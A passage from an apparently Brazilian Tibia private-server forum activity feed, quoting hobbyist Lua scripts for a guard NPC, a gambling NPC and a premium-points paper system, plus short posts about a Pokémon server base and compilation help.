to what the NPC says when he sees a monster(s) local town_name = "Archgard" ----- the name of the town the NPC says when you say "hi" local Attack_monsters = TRUE ----- set to TRUE for the npc to attack monsters in his area or FALSE if he doesnt local Attack_swearers = TRUE ----- set to TRUE for the npc to attack players that swear near him or FALSE if he doesnt local Attack_pkers = TRUE ----- set to TRUE for the npc to attack players with white and red skulls or FALSE if he doesnt local health_left = 10 ----- set to the amount of health the npc will leave a player with if they swear at him (ie at 10 he will hit the player to 10 health left) local swear_message = "Take this!!!" ----- change this to what you want the NPC to say when he attackes a swearer local swear_words = {"shit", "fuck", "dick", "cunt"} ----- if "Attack_swearers" is set to TRUE then the NPC will attack anyone who says a word in here. Remember to put "" around each word and seperate each word with a comma (,) local hit_effect = CONST_ME_MORTAREA ----- set this to the magic effect the creature will be hit with, see global.lua for more effects local shoot_effect = CONST_ANI_SUDDENDEATH ----- set this to the magic effect that will be shot at the creature, see global.lua for more effects local damage_colour = TEXTCOLOR_RED ----- set this to the colour of the text that shows the damage when the creature gets hit ------------------end of config------------------ local check_clock = os.clock() ----- leave this local focus = 0 ----- leave this function msgcontains(txt, str) return (string.find(txt, str) and not string.find(txt, '(%w+)' .. str) and not string.find(txt, str .. '(%w+)')) end function onCreatureSay(cid, type, msg) msg = string.lower(msg) health = getCreatureHealth(cid) - health_left if ((string.find(msg, '(%a*)hi(%a*)'))) and getDistanceToCreature(cid) < 4 then selfSay('Hello ' .. creatureGetName(cid) .. '! I am a defender of '..town_name..'.') doNpcSetCreatureFocus(cid) focus = 0 end if msgcontains(msg, 'time') then selfSay('The time is ' .. getWorldTime() .. '.') end if messageIsInArray(swear_words, msg) then if Attack_swearers == TRUE then selfSay('' .. swear_message ..' ') doCreatureAddHealth(cid,-health) doSendMagicEffect(getThingPos(cid),17) doSendAnimatedText(getThingPos(cid),health,180) doNpcSetCreatureFocus(cid) focus = 0 end end end function getMonstersfromArea(pos, radiusx, radiusy, stack) local monsters = { } local starting = {x = (pos.x - radiusx), y = (pos.y - radiusy), z = pos.z, stackpos = stack} local ending = {x = (pos.x + radiusx), y = (pos.y + radiusy), z = pos.z, stackpos = stack} local checking = {x = starting.x, y = starting.y, z = starting.z, stackpos = starting.stackpos} repeat creature = getThingfromPos(checking) if creature.itemid > 0 then if isCreature(creature.uid) == TRUE then if isPlayer(creature.uid) == FALSE then if Attack_monsters == TRUE then table.insert (monsters, creature.uid) check_clock = os.clock() end elseif isPlayer(creature.uid) == TRUE then if Attack_pkers == TRUE then if getPlayerSkullType(creature.uid) > 0 then table.insert (monsters, creature.uid) check_clock = os.clock() end end end end end if checking.x == pos.x-1 and checking.y == pos.y then checking.x = checking.x+2 else checking.x = checking.x+1 end if checking.x > ending.x then checking.x = starting.x checking.y = checking.y+1 end until checking.y > ending.y return monsters end function onThink() if (Attack_monsters == TRUE and Attack_pkers == TRUE) or (Attack_monsters == TRUE and Attack_pkers == FALSE) or (Attack_monsters == FALSE and Attack_pkers == TRUE) then if (os.clock() - check_clock) > check_interval then monster_table = getMonstersfromArea(getCreaturePosition(getNpcCid( )), radiusx, radiusy, 253) if #monster_table >= 1 then selfSay('' .. Attack_message ..' ') for i = 1, #monster_table do doNpcSetCreatureFocus(monster_table[i]) local damage_min = (level * 2 + maglevel * 3) * min_multiplier local damage_max = (level * 2 + maglevel * 3) * max_multiplier local damage_formula = math.random(damage_min,damage_max) doSendDistanceShoot(getCreaturePosition(getNpcCid( )), getThingPos(monster_table[i]), shoot_effect) doSendMagicEffect(getThingPos(monster_table[i]),hit_effect) doSendAnimatedText(getThingPos(monster_table[i]),damage_formula,damage_colour) doCreatureAddHealth(monster_table[i],-damage_formula) check_clock = os.clock() focus = 0 end elseif table.getn(monster_table) < 1 then focus = 0 check_clock = os.clock() end end end focus = 0 end -
frank007 deu reputação a Bruno Minervino em NPC MendigoExplicação:
É um npc que pede ajuda para quem passa, se a pessoa o ajudar ela será teleportada pra um lugar configurável, e nesse lugar a pessoa coloca o que quiser.
Vá em data/npc e crie um arquivo chamado Mendigo.xml e coloque o seguinte conteúdo:
Agora vá em data/npc/scripts e crie um arquivo chamado mendigo.lua e coloque o seguinte conteúdo:
-
frank007 deu reputação a thalia em [NPC] Apostador de VegasNome: NPC Apostador Las Vegas
Versão: Testada na 8.54, mais provavelmente funfa 8.5+
Créditos: 100% by me (:
Como "fanuncia"?
È um npc de apostar, ele possuiu "por inquanto" dois jogos 21 e Jogo dos 6.
~~> Explicando o 21 <~~
O 21 funciona assim: Você ira ganhar 1 número e o número tem quer ser 21, ou chegar o mais próximo possível sem ultrapassar esse valor.
E a mesma coisa será feita com o npc, ele ganhará 1 número.
Você pode ir comprando mais números dizendo [comprar] e se quiser parar é só dizer [parar].
Se seu número for maior que o do npc, você leva o triplo do dinheiro apostado.
~~> Explicando o Jogo do 6 <~~
O Jogo do 6 funciona assim: O npc vai rodar um dado, e se cair no número 6 você ganha o sêxtuplo (6 vezes) do valor apostado.
Caso não caia no 6, você perde apenas o dinheiro da aposta.
Legal né?
Instalando o npc
-> Vá até a pasta data/npc e crie um arquivo xml com o nome lasvegas.xml e cole esse codigo dentro:
<?xml version="1.0" encoding="UTF-8"?> <npc name="Apostador" script="data/npc/scripts/apostador_la.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="138" head="96" body="95" legs="0" feet="95" addons="0"/> <parameters> <parameter key="message_greet" value="Como vai? |PLAYERNAME|, Quer {apostar} comigo?" /> <parameter key="module_keywords" value="1" /> </parameters> </npc> -> Vá até a pasta data/npc/scripts e crie um arquivo lua com o nome apostador_la.lua e cole esse codigo dentro: -- Preços das apostas -- price_21 = 1000 -- 1k ou 1000gold price_jogo6 = 5000 local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function onThink() npcHandler:onThink() end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local talkUser = NPCHANDLER_CONVbehavior == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'apostar')) then selfSay('Eu faço 2 jogos: {21},{Jogo do 6} escolha um deles!', cid) talkState[talkUser] = 5 elseif (msgcontains(msg, 'Jogo do 6') and talkState[talkUser] == 5) then selfSay('O Jogo do 6 funciona assim: Eu vou rodar um dado, e se cair no número 6 você ganha o sêxtuplo (6 vezes) do valor apostado.', cid) selfSay('Caso não caia no 6, você perde apenas o dinheiro da aposta.', cid) selfSay('Está pronto para {começar}?.', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'começar') and talkState[talkUser] == 3) then selfSay('Você possui o {dinheiro} da aposta ('..price_jogo6..')golds ?', cid) if doPlayerRemoveMoney(cid, price_jogo6) == TRUE then talkState[talkUser] = 2 else selfSay('Desculpe, mais você não tem dinheiro para apostar comigo.',cid) end elseif(msgcontains(msg, 'dinheiro') and talkState[talkUser] == 2) then sorteio6 = math.random(1,6) if sorteio6 == 6 then talkState[talkUser] = 3 selfSay('Parábens, o número sorteado foi 6 e você acaba de ganhar '..(price_jogo6*6) ..'golds, mais o dinheiro que você pagou da aposta.',cid) doPlayerAddMoney(cid,price_jogo6*6) else talkState[talkUser] = 2 selfSay('Que azar, o número sorteado foi '..sorteio6..', mais sorte na proxima.',cid) end elseif(msgcontains(msg, '21') and talkState[talkUser] == 5) then selfSay('O 21 funciona assim: Você ira ganhar 1 número e o número tem quer ser 21, ou chegar o mais próximo possível sem ultrapassar esse valor.', cid) selfSay('E a mesma coisa será feita comigo, ganharei 1 número.', cid) selfSay('Você pode ir comprando mais números dizendo [comprar] e se quiser parar é só dizer [parar].', cid) selfSay('Se você ganhar de mim, você leva o triplo do dinheiro apostado.', cid) selfSay('Está pronto para {começar}?.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'começar') and talkState[talkUser] == 0) then selfSay('Você possui o {dinheiro} da aposta ('..price_21..')golds ?', cid) talkState[talkUser] = 1 elseif(msgcontains(msg, 'dinheiro') and talkState[talkUser] == 1) then if doPlayerRemoveMoney(cid, price_21) == TRUE then talkState[talkUser] = 0 local mpn = math.random(1,21) setPlayerStorageValue(cid, 55411,mpn) local pn = getPlayerStorageValue(cid, 55411) selfSay('Seu número é '..pn..', quer comprar mais ou parar?',cid) else selfSay('Desculpe, mais você não tem dinheiro para apostar comigo.',cid) end elseif(msgcontains(msg, 'comprar') and talkState[talkUser] == 0) then local cp = math.random(1,10) setPlayerStorageValue(cid, 55411, (getPlayerStorageValue(cid, 55411))+cp) selfSay('Seu número é '..getPlayerStorageValue(cid, 55411)..', quer comprar mais ou parar?',cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'parar') and talkState[talkUser] == 0) then local npcn = math.random(15,21) setPlayerStorageValue(cid, 2224, npcn) if getPlayerStorageValue(cid, 55411) < getPlayerStorageValue(cid, 2224)then selfSay('Meu número é '..getPlayerStorageValue(cid, 2224)..'.',cid) selfSay('Seu número final é '..getPlayerStorageValue(cid, 55411)..'.',cid) selfSay('Ganhei, mais sorte na proxima vez.',cid) talkState[talkUser] = 1 elseif getPlayerStorageValue(cid, 55411) == getPlayerStorageValue(cid, 2224) then selfSay('Meu número é '..getPlayerStorageValue(cid, 2224)..'.',cid) selfSay('Seu número final é '..getPlayerStorageValue(cid, 55411)..'.',cid) selfSay('Empato, portanto ninguem ganha nada.',cid) talkState[talkUser] = 1 elseif getPlayerStorageValue(cid, 55411) > getPlayerStorageValue(cid, 2224) then selfSay('Meu número é '..getPlayerStorageValue(cid, 2224)..'.',cid) selfSay('Seu número final é '..getPlayerStorageValue(cid, 55411)..'.',cid) local somag = (price_21*3) selfSay('Você ganhou '..somag..'golds, mais os seus '..price_21..'golds de volta. Parábens !!!',cid) doPlayerAddMoney(cid, somag) doPlayerAddMoney(cid, price_21) talkState[talkUser] = 1 else selfSay('Desculpe, mais você não possui dinheiro está aposta',cid) end end return true end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new())
Pronto, npc instalado.
Qualquer dúvida, tamo ae.
Gostou? REP +
-
frank007 deu reputação a Vodkart em [8;6] Premium Paper [Talk] + [Action]Fiz o código a pedidos do membro @Micheel15, onde o sistema funciona da seguinte maneira:
você usa o comando !sellpoints quantidade
quando usar esse comando, os seus pontos do site são passados para um paper, com esse paper você pode trocar ou vender no servidor.
BENEFICIOS :
Vender ou transferir pontos.
IMAGEM A BAIXO :
Ai quando você der use, os pontos são passados para sua conta.
lib adicione
function getPremiumPoints(cid) local query = db.getResult("SELECT `premium_points` FROM `accounts` WHERE `id` = "..getPlayerAccountId(cid)) return query:getDataInt("premium_points") <= 0 and 0 or query:getDataInt("premium_points") end function setPremiumPoints(cid, amount) return db.executeQuery("UPDATE `accounts` SET `premium_points` = "..amount.." WHERE `id` = "..getPlayerAccountId(cid)) end
talk
sell_points.lua
function onSay(cid, words, param) local var,points = "[Sell Point System] Este documento vale %s points para você usar no site.",getPremiumPoints(cid) local min,max = 5, 100 if param == "" or not tonumber(param) then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Desculpe, use somente numeros.") return true elseif tonumber(param) < min or tonumber(param) > max then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Desculpe, Minimo "..min.." e Maximo "..max.." points.") return true elseif points < tonumber(param) then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Desculpe, mas você só possui "..points.." Premium Points.") return true end local item = doPlayerAddItem(cid, 7702,1) doItemSetAttribute(item, "description", var:format(tonumber(param))) setPremiumPoints(cid, points-tonumber(param)) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE,"[Sell Point System] Você recebeu um paper com "..param.." Premium Points.") return true end
tag
<talkaction words="!sellpoints;/sellpoints" event="script" value="sell_points.lua"/>
actions
paper_points.lua
function onUse(cid, item, frompos, item2, topos) local var = getItemAttribute(item.uid, "description") if var == nil then return true end local x = var:match("%b[]") if x == "[Sell Point System]" then local ret = var:match("%d+") doPlayerSendTextMessage(cid, 22,"você recebeu "..ret.." Premium Points.") setPremiumPoints(cid, getPremiumPoints(cid)+ret) doRemoveItem(item.uid) end return true end
tag
<action itemid="7702" script="paper_points.lua"/>
-
frank007 deu reputação a Matheus Beraldo em [Link Quebrado]Base OtPokémon.com + ClientOlá Galera do Tibiaking! Hoje Vim Trazer Para voçes uma base parecida com OtPokémon pois editei muito nessa base em breve teremos v2 com as sprites substituidas base (PDA). Vamos Ao Que Importa Alguns Dos Nossos Sistemas Abaixo Agora vamos ao que interessa informaçoes do servidor começando com os Sistemas. Sistemas Moves System: 80% Caught System: 50% Go-Back System: 50% Portrait System: 50% Evolution System: 100% Ginasios 90% (Tentar Adicionar mais na V2) Changelog do servidor: • A Opçao Pokebag Do Client Esta Com o Sistema do Cassino Retire que Sera Aberto Normalmente Versao 1.0 • Adicionei Shiny Clefable - Shiny Wigglytuff - Shiny Tangrowth e Shiny Roserade • • Arrumei Os Attakes Dos Pokemons pareçidos com o OtPokémon (V2 Serao Todos) • • Adicionado Boost System Beta ( Esta Apenas Aumentar 300 De Hp, V2 Sera Arrumado ) • • Todos Os Shinys Alterados para Poderem Usar Level 1 e as Magias Tambem • • o Atake "Healarea" Nao Heala Players Apenas os Pokémons Downloads: Servidor Client (Pode usar este normal) Scan do Servidor Equipe: Apenas eu.
-
frank007 deu reputação a Wolven em Error ao compilar otx em linuxIsso não é um erro, apenas um aviso. Verifique suas flags e remova a -Werror se existir, ela faz com que Warnings sejam considerados Errors e para a compilação..
-
frank007 recebeu reputação de netoxdd em [Urgente] bug vocaçoes virando outras vocaçoesNo meu dbo q eu baixei tem um bug muito escroto os players do nada viram outras vocações alguém poderia me ajudar